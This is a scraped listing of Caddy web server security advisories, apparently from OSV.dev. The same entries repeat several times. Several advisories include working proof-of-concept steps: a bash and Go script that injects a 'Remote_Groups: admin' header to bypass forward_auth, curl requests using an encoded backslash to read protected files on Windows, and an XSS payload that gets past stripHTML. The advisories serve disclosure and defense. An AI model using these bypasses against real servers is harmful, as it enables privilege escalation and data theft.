> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Sep 20, 2016

v0.9.1 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Aug 17, 2016

v0.9.0 minor

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

